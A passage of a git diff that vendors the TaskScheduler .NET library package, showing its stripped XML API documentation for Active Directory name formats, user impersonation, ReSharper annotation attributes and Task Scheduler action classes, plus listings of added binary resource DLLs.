input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..4a7f142 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..119cd88 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..a53877e Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c552ad1 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1af2230 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..08e4ef5 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..6528448 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8fbcde9 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..9b97cd5 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..6d8c0a9 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fe57308 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..533f1c7 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element 